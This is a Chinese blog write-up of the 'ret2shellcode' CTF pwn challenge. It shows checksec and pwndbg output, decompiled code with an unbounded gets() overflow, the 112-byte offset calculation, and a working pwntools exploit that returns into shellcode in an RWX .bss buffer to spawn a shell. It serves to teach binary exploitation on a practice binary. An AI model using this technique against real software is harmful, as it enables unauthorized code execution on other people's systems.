ret2shellcode
ret2shellcode
介绍#
shellcode的意思其实就是能获取到shell的code,以前还疑惑为什么要交shellcode。
解题#
1、先查看附件信息
使用 checksec ret2shellcode
可以查看到ret2shellcode的信息;发现是32位的小端序,某个段有着可读可写可执行的权限。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
将文件拖入IDA中查看内容,按F5反编译成C语言。这段代码中可以发现get没有限制我们读入的数据,可以造成栈溢出;buf2是一块为64h字节大小的.bss段内的空间。
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
使用pwndbg调试程序,使用b main
在main函数下断点,run
指令来运行程序。再使用vmmap查看每个段的权限。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/pwn/Pwn/pwn_challenge/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /home/pwn/Pwn/pwn_challenge/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/Pwn/pwn_challenge/ret2shellcode
0xf7dcb000 0xf7fb3000 r-xp 1e8000 0 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb3000 0xf7fb5000 r-xp 2000 1e7000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb7000 rwxp 2000 1e9000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb7000 0xf7fb9000 rwxp 2000 0
0xf7fcb000 0xf7fcd000 rwxp 2000 0
0xf7fcd000 0xf7fd0000 r--p 3000 0 [vvar]
0xf7fd0000 0xf7fd1000 r-xp 1000 0 [vdso]
0xf7fd1000 0xf7ffb000 r-xp 2a000 0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
可以发现
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/Pwn/pwn_challenge/ret2shellcode
是.bss段,根据IDA中.bss的地址。
那么我们的思路就是让strncpy将我们的shellcode拷贝到bss段中,我们再将return address指向buf2的位置;这就导致执行了我们的shellcode,从获得shell。
可能会有同学有个疑惑,就是为什么在gets()处改变了return address的地址,为什么还能继续执行下面的strncpy()函数。就像下面的小伙伴说的:
payload是被gets接收后,谥出的地址是0xO804A080,gets执行完毕后程序会跳转到0x0804A080,然后比时0x0804A080啥也没有,我理解此时就会程序出错了啊?怎么会继续跑strncpy?
这是因为我们输入是在s这个局部变量里面,这时候它是处于main函数的栈帧中。所以我们修改的是main函数的返回地址;并且由于s的栈帧还在get()栈帧上,我们是无法修改get()函数的栈帧的。
现在我们只需要构造溢出就可以,使用pwmgbd来调试程序,在get()输入后,查看栈的情况。可以发现ebp在0xffffd0a8,我们的输入在0xffffd03c,相减就可以发现差为108,再溢出4个字节的ebp,那么需要112字节的垃圾数据就可以到达retun address。
构造exp:
rom pwn import *
io = process("./ret2shellcode")
buf2 = 0x0804A080
payload = asm(shellcraft.sh()).ljust(112,b'B')+ p32(buf2)
io.sendline(payload)
io.interactive()
至此完成整个过程。
作者:qianyuzz
出处:https://www.cnblogs.com/qianyuzz/p/17590683.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)